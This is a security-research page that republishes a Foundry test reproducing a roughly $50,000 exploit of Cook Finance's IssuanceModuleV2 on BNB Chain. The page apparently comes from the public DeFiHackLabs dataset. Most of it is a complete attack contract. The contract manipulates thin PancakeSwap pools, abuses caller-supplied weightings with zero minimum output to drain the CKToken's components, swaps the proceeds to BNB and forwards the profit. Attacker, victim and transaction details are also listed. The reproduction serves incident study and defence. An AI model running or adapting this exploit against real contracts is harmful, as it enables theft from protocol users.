Public reproduction file
src/test/2026-06/CookFinanceIssuance_exp.sol
Public reproduction file for dataset entry CookFinanceIssuance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~$50,000 USD8// Attacker : 0xee18c4c2e123402731f43d680e75ca2809c30f8b9// Attack Contract : 0xeffcb496cae89e7e92abe17d22386345707ceee410// Vulnerable Contract : 0x7db3cbaf736c049933a3af28dbed4a4442aa89d011// Victim CKToken in this tx : 0xa4e9f6032ee717710d8fd3dce0367d283e16f50e12// Attack Tx : https://bscscan.com/tx/0x51e46828b7aabfa810910b3f8ca535053716e6bcb8b7f94a4ff59757d71a1bca13//14// @Info15// Vulnerable Contract Code : https://bscscan.com/address/0x7db3cbaf736c049933a3af28dbed4a4442aa89d0#code16//17// @Analysis18// Twitter Guy : https://x.com/DefimonAlerts/status/207149700144377068419//20// Attack summary: the attacker seeded thin Pancake component pools, called Cook Finance21// issueWithSingleToken2 twice with caller-chosen component weightings, removed the seeded LP, and22// sold the recovered CKToken components for BNB.23// Root cause: issueWithSingleToken2 used attacker-supplied weightings to trade CKToken holdings24// through a Pancake V2 spot-price adapter with zero minimum output, so thin-pool manipulation turned25// a one-unit issue request into real CKToken component outflows.27address constant ATTACKER = 0xEe18c4c2E123402731f43d680e75ca2809c30f8b;28address constant HISTORICAL_ATTACK_CONTRACT = 0xeFFcB496CaE89E7E92abe17d22386345707CEEe4;29address constant ISSUANCE_MODULE = 0x7Db3CBAf736C049933A3Af28dBeD4A4442aa89d0;30address constant CK_TOKEN = 0xA4e9f6032ee717710D8Fd3dCE0367d283e16f50e;31address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;32address constant PANCAKE_FACTORY = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;33address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;35uint256 constant INITIAL_BNB = 0.02 ether;36uint256 constant LARGE_SEED_BNB = 0.001 ether;37uint256 constant SMALL_SEED_BNB = 0.0001 ether;38uint256 constant PRECISE_UNIT = 1 ether;39uint256 constant ISSUE_QUANTITY = 1;40uint256 constant SMALL_COMPONENT_WEIGHT = 1_000_000 ether;41uint256 constant TARGET_BALANCE_NUMERATOR = 999;42uint256 constant TARGET_BALANCE_DENOMINATOR = 1000;44interface ICKTokenCook {45 function getComponents() external view returns (address[] memory);46 function balanceOf(47 address owner48 ) external view returns (uint256);49}51interface IIssuanceModuleV2 {52 function issueWithSingleToken2(53 address ckToken,54 address issueToken,55 uint256 issueTokenQuantity,56 uint256 minCkTokenRec,57 address[] calldata midTokens,58 uint256[] calldata weightings,59 address to,60 bool returnDust61 ) external;62}64contract ContractTest is BaseTestWithBalanceLog {65 function setUp() public {66 uint256 forkBlock = 106_740_999;67 vm.createSelectFork("bsc", forkBlock);69 fundingToken = address(0);70 attacker = ATTACKER;72 vm.label(ATTACKER, "Attacker");73 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");74 vm.label(ISSUANCE_MODULE, "Cook IssuanceModuleV2");75 vm.label(CK_TOKEN, "Cook CKToken");76 vm.label(PANCAKE_ROUTER, "Pancake router");77 vm.label(PANCAKE_FACTORY, "Pancake factory");78 vm.label(WBNB_TOKEN, "WBNB");80 address[] memory components = ICKTokenCook(CK_TOKEN).getComponents();81 for (uint256 i = 0; i < components.length; i++) {82 vm.label(components[i], string(abi.encodePacked("CK component ", vm.toString(i))));83 }84 }86 function testExploit() public balanceLog {87 address[] memory components = ICKTokenCook(CK_TOKEN).getComponents();88 uint256 ckCakeBefore = IERC20(components[0]).balanceOf(CK_TOKEN);89 uint256 ckVbnbBefore = IERC20(components[1]).balanceOf(CK_TOKEN);91 vm.deal(ATTACKER, INITIAL_BNB);93 vm.startPrank(ATTACKER);94 CookFinanceIssuanceAttack attack = new CookFinanceIssuanceAttack{value: INITIAL_BNB}(ATTACKER);95 attack.execute();96 vm.stopPrank();98 uint256 attackerProfit = ATTACKER.balance - INITIAL_BNB;99 assertGt(attackerProfit, 2.7 ether);100 assertLt(IERC20(components[0]).balanceOf(CK_TOKEN), ckCakeBefore);101 assertLt(IERC20(components[1]).balanceOf(CK_TOKEN), ckVbnbBefore);102 }103}105contract CookFinanceIssuanceAttack {106 address private immutable profitReceiver;108 constructor(109 address receiver110 ) payable {111 profitReceiver = receiver;112 }114 function execute() external {115 address[] memory components = ICKTokenCook(CK_TOKEN).getComponents();116 require(components.length == 8, "unexpected component count");118 approveComponents(components);120 // step 1: seed CAKE/component pools and make the module sell the CKToken's CAKE balance.121 seedFirstIssueCycle(components);122 issueWithManipulatedWeight(components, 0);123 removeSeededLiquidity(components, 0);125 // step 2: seed vBNB/component pools and repeat against the CKToken's vBNB balance.126 seedSecondIssueCycle(components);127 issueWithManipulatedWeight(components, 1);128 removeSeededLiquidity(components, 1);130 // step 3: convert recovered components to BNB and forward the native profit.131 swapComponentsToBnb(components);132 payable(profitReceiver).transfer(address(this).balance);133 }135 function seedFirstIssueCycle(136 address[] memory components137 ) private {138 buyWithBnb(components[0], LARGE_SEED_BNB);139 buyWithBnb(components[0], SMALL_SEED_BNB);140 buyWithBnb(components[1], SMALL_SEED_BNB);141 addThinLiquidity(components[0], components[1]);143 for (uint256 i = 2; i < components.length; i++) {144 buyWithBnb(components[i], SMALL_SEED_BNB);145 addThinLiquidity(components[0], components[i]);146 }147 }149 function seedSecondIssueCycle(150 address[] memory components151 ) private {152 buyWithBnb(components[1], LARGE_SEED_BNB);153 buyWithBnb(components[0], SMALL_SEED_BNB);154 addThinLiquidity(components[1], components[0]);156 for (uint256 i = 2; i < components.length; i++) {157 buyWithBnb(components[1], SMALL_SEED_BNB);158 buyWithBnb(components[i], SMALL_SEED_BNB);159 addThinLiquidity(components[1], components[i]);160 }161 }163 function issueWithManipulatedWeight(164 address[] memory components,165 uint256 issueIndex166 ) private {167 address issueToken = components[issueIndex];168 address[] memory midTokens = new address[](components.length);169 uint256[] memory weightings = new uint256[](components.length);171 for (uint256 i = 0; i < components.length; i++) {172 weightings[i] = SMALL_COMPONENT_WEIGHT;173 }175 uint256 ckIssueTokenBalance = IERC20(issueToken).balanceOf(CK_TOKEN);176 uint256 targetSellAmount = (ckIssueTokenBalance * TARGET_BALANCE_NUMERATOR) / TARGET_BALANCE_DENOMINATOR;177 weightings[issueIndex] = targetSellAmount * PRECISE_UNIT;179 IERC20(issueToken).approve(ISSUANCE_MODULE, ISSUE_QUANTITY);180 IIssuanceModuleV2(ISSUANCE_MODULE)181 .issueWithSingleToken2(CK_TOKEN, issueToken, ISSUE_QUANTITY, 0, midTokens, weightings, address(this), true);182 }184 function addThinLiquidity(185 address baseToken,186 address component187 ) private {188 uint256 baseAmount = IERC20(baseToken).balanceOf(address(this)) / 10;189 uint256 componentAmount = IERC20(component).balanceOf(address(this));191 if (baseAmount == 0 || componentAmount == 0) return;193 IPancakeRouter(payable(PANCAKE_ROUTER))194 .addLiquidity(195 baseToken, component, baseAmount, componentAmount, 0, 0, address(this), block.timestamp + 1 hours196 );198 address pair = IUniswapV2Factory(PANCAKE_FACTORY).getPair(baseToken, component);199 IERC20(pair).approve(PANCAKE_ROUTER, type(uint256).max);200 }202 function removeSeededLiquidity(203 address[] memory components,204 uint256 baseIndex205 ) private {206 address baseToken = components[baseIndex];208 for (uint256 i = 0; i < components.length; i++) {209 if (i == baseIndex) continue;211 address pair = IUniswapV2Factory(PANCAKE_FACTORY).getPair(baseToken, components[i]);212 uint256 liquidity = IERC20(pair).balanceOf(address(this));213 if (liquidity == 0) continue;215 IPancakeRouter(payable(PANCAKE_ROUTER))216 .removeLiquidity(baseToken, components[i], liquidity, 0, 0, address(this), block.timestamp + 1 hours);217 }218 }220 function swapComponentsToBnb(221 address[] memory components222 ) private {223 for (uint256 i = 0; i < components.length; i++) {224 uint256 balance = IERC20(components[i]).balanceOf(address(this));225 if (balance == 0) continue;227 address[] memory path = new address[](2);228 path[0] = components[i];229 path[1] = WBNB_TOKEN;231 IPancakeRouter(payable(PANCAKE_ROUTER))232 .swapExactTokensForETH(balance, 0, path, address(this), block.timestamp + 1 hours);233 }234 }236 function buyWithBnb(237 address token,238 uint256 amount239 ) private {240 address[] memory path = new address[](2);241 path[0] = WBNB_TOKEN;242 path[1] = token;244 IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactETHForTokens{value: amount}(245 0, path, address(this), block.timestamp + 1 hours246 );247 }249 function approveComponents(250 address[] memory components251 ) private {252 for (uint256 i = 0; i < components.length; i++) {253 IERC20(components[i]).approve(PANCAKE_ROUTER, type(uint256).max);254 }255 }257 receive() external payable {}258}Analysis
Dataset entry
Public Foundry test for “CookFinanceIssuance” (2026-06-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xee18c4c2e123402731f43d680e75ca2809c30f8b
- Attack Contract
0xeffcb496cae89e7e92abe17d22386345707ceee4
- Vulnerable Contract
0x7db3cbaf736c049933a3af28dbed4a4442aa89d0
- Victim
0xa4e9f6032ee717710d8fd3dce0367d283e16f50e
- Attack Tx
0x51e46828b7aabfa810910b3f8ca535053716e6bcb8b7f94a4ff59757d71a1bca
File record
- Name
- CookFinanceIssuance
- Path
- src/test/2026-06/CookFinanceIssuance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1d5719e96e4278f4528c430582758b7fff308f0b
- Language
- Solidity
- Size
- 259 lines
- Date
- 2026-06-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/CookFinanceIssuance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1d5719e96e4278f4528c430582758b7fff308f0b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.